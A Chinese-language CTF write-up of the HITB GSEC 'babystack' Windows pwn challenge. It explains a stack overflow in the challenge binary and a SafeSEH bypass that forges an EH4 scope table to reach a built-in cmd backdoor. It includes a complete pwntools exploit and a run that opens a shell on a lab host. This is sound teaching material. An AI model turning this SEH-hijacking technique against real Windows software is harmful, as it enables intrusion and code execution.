HITB GSEC BABYSTACK -- win pwn 初探

TOC

  1. 1. 溢出点
  2. 2. 思路
    1. 2.1. __except_handler4
  3. 3. 脚本

原先只听过 win pwn 这个概念,这次尝试着做了一下,发现 Windows pwn 和 Linux pw 利用起来都差不多,差别就在于:对于 win pwn 的工具太少了。

源程序和相关文件下载:win_babystack.zip

由于 windows 调试 pwn 特别麻烦,所以我写了个小程序:(win_server)为了方便调试,其原理和xinted的程序映射到端口的功能差不多,当远程pwntools连过来以后,就可以在本地利用xdbg或者windbg来调试了。

注意调试的时候关闭ASLR,这样会方便很多。

溢出点

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
FILE *v3; // eax
FILE *v4; // eax
_DWORD *v5; // ST38_4
int v6; // [esp-C4h] [ebp-C4h]
int v7; // [esp-C0h] [ebp-C0h]
signed int i; // [esp-B8h] [ebp-B8h]
char v9[128]; // [esp-A0h] [ebp-A0h]
signed int v10; // [esp-8h] [ebp-8h]

v10 = 0;
v3 = (FILE *)_acrt_iob_func(1);
setvbuf(v3, 0, 4, 0);
v4 = (FILE *)_acrt_iob_func(0);
setvbuf(v4, 0, 4, 0);
puts("ouch! Do not kill me , I will tell you everything");
printf("stack address = 0x%x\n", v9);
printf("main address = 0x%x\n", main);
for ( i = 0; i < 10; ++i )
{
puts("Do you want to know more?");
read_n(v9, 10);
v7 = strcmp(v9, "yes");
if ( v7 )
v7 = -(v7 < 0) | 1;
if ( v7 )
{
v6 = strcmp(v9, "no");
if ( v6 )
v6 = -(v6 < 0) | 1;
if ( !v6 )
break;
read_n(v9, 256);
}
else
{
puts("Where do you want to know");
v5 = (_DWORD *)sub_401060();
printf("Address 0x%x value is 0x%x\n", v5, *v5);
}
}
v10 = -2;
puts("I can tell you everything, but I never believe 1+1=2");
puts("AAAA, you kill me just because I don't think 1+1=2??");
exit(0);
}

v9长度为128,但是却可以输入256,直接导致栈溢出,但是程序出口全部都由exit堵上了。

内置了后门:

.text:0040138D                 push    offset Command  ; "cmd"
.text:00401392 call ds:system

从汇编信息可得:

; int __cdecl main(int argc, const char **argv, const char **envp)
_main proc near
push ebp
mov ebp, esp
push 0FFFFFFFEh
push offset stru_403688
push offset __except_handler4
mov eax, large fs:0
push eax
add esp, 0FFFFFF40h
mov eax, ___security_cookie
xor [ebp-8], eax
xor eax, ebp
mov [ebp-1Ch], eax

main安装了异常捕获机制,而且栈溢出恰好可以控制SEH

思路

劫持SEH,控制程序流到后门。

如果没有SAFESEH,我们可以直接更改handler来拿到shell,但是有了这层保护,我们则需要想办法绕过它,SAFESEH会对handler进行检查,看看是否在__safe_se_handler_table里面,如果不在就不会执行。

很显然后门地址是肯定不在其中的,那么接下来我们分析它的handler—-__except_handler4

__except_handler4

代码来自:http://www.jbox.dk/sanos/source/win32/msvcrt/except.c.html

void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer)
{
unsigned int v3; // esi@2
unsigned int v4; // esi@3

if ( scopeTable->GSCookieOffset != -2 )
{
v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
}
v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
}

int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context)
{
// 异或解密 scope table
scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8));

// sehFrame 等于 上图 ebp - 10h 位置, framePointer 等于上图 ebp 的位置
framePointer = (char *)(sehFrame + 16);
scopeTable = scopeTable_1;

// 验证 GS
ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16));
__except_validate_context_record(context);

if ( exceptionRecord->ExceptionFlags & 0x66 )
{
......
}
else
{
exceptionPointers.ExceptionRecord = exceptionRecord;
exceptionPointers.ContextRecord = context;
tryLevel = *(_DWORD *)(sehFrame + 12);
*(_DWORD *)(sehFrame - 4) = &exceptionPointers;
if ( tryLevel != -2 )
{
while ( 1 )
{
v8 = tryLevel + 2 * (tryLevel + 2);
filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8);
scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8);
encloseingLevel = scopeTableRecord->EnclosingLevel;
scopeTableRecord_1 = scopeTableRecord;
if ( filterFunc )
{
// 调用 FilterFunc
filterFuncRet = _EH4_CallFilterFunc(filterFunc);
......
if ( filterFuncRet > 0 )
{
......
// 调用 HandlerFunc
_EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16);
......
}
}
......
tryLevel = encloseingLevel;
if ( encloseingLevel == -2 )
break;
scopeTable_1 = scopeTable;
}
......
}
}
......
}

分析代码可知,我们只要控制了scopeTablesehFrame就可利用filterFunc来控制程序流。

SEH布局如下:

来自:https://bbs.pediy.com/thread-221016.htm

                                                  Scope Table
+-------------------+
| GSCookieOffset |
+-------------------+
| GSCookieXorOffset |
+-------------------+
EH4 Stack | EHCookieOffset |
+-------------------+ +-------------------+
High | ...... | | EHCookieXorOffset |
+-------------------+ +-------------------+
ebp | ebp | +-----------> EncloseingLevel <--+-> 0xFFFFFFFE
+-------------------+ | Level 0 +-------------------+ |
ebp - 04h | TryLevel +---+ | FilterFunc | |
+-------------------+ | +-------------------+ |
ebp - 08h | Scope Table | | | HandlerFunc | |
+-------------------+ | +-------------------+ |
ebp - 0Ch | ExceptionHandler | +-----------> EncloseingLevel +--+-> 0x00000000
+-------------------+ Level 1 +-------------------+
ebp - 10h | Next | | FilterFunc |
+-------------------+ +-------------------+
ebp - 14h | ExceptionPointers +----+ | HandlerFunc |
+-------------------+ | +-------------------+
ebp - 18h | esp | |
+-------------------+ | ExceptionPointers
Low | ...... | | +-------------------+
+-------------------+ +----------> ExceptionRecord |
+-------------------+
| ContextRecord |
+-------------------+

首先我们要__security_cookie的值,他是在程序镜像上的,因为程序已经泄露了main地址,所以我们可以根据该地址直接计算出来,然后我们就能伪造Scope Table的地址了。

但是其还有一个ValidateLocalCookies验证,要求*(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset]的值必须为__security_cookie,通常计算可得该值的地址为stack_addr + 104,所以在溢出的时候我们只要提前设置好该值就行。

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

# context.log_level = 'debug'
context.arch = 'i386'

sh = remote('192.168.3.129', 1001)

def get_value(addr):
sh.recvuntil('Do you want to know more?')
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline(str(addr))
sh.recvuntil('value is ')
return int(sh.recvline(), 16)


sh.recvuntil('stack address =')
result = sh.recvline()
stack_addr = int(result, 16)
log.success('stack_addr: ' + hex(stack_addr))
sh.recvuntil('main address =')
result = sh.recvline()
main_address = int(result, 16)
log.success('main_address: ' + hex(main_address))

security_cookie = get_value(main_address + 12116)
log.success('security_cookie: ' + hex(security_cookie))

# pause()
sh.sendline('n')
next_addr = stack_addr + 212
log.success('next_addr: ' + hex(next_addr))

SCOPETABLE = [
0x0FFFFFFFE,
0,
0x0FFFFFFCC,
0,
0xFFFFFFFE,
main_address + 733,
]

payload = 'a' * 16 + flat(SCOPETABLE).ljust(104 - 16, 'a') + p32((stack_addr + 156) ^ security_cookie) + 'c' * 32 + p32(next_addr) + p32(main_address + 944) + p32((stack_addr + 16) ^ security_cookie) + p32(0) + 'b' * 16
sh.sendline(payload)


sh.recvline()
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline('0')

sh.interactive()

运行实例:

ex@Ex:~/test$ python exp.py 
[+] Opening connection to 192.168.3.129 on port 1001: Done
[+] stack_addr: 0x2bffa10
[+] main_address: 0xa110b0
[+] security_cookie: 0xd5813fd0
[+] next_addr: 0x2bffae4
[*] Switching to interactive mode

Microsoft Windows [Version 10.0.17763.557]
(c) 2018 Microsoft Corporation. All rights reserved.

D:\test>$ whoami
whoami
win10\ex

D:\test>$ type txt
type txt
123456

D:\test>$ exit
exit
AAAA, you kill me just because I don't think 1+1=2??
[*] Got EOF while reading in interactive
$
[*] Closed connection to 192.168.3.129 port 1001
[*] Got EOF while sending in interactive

部分资料来源: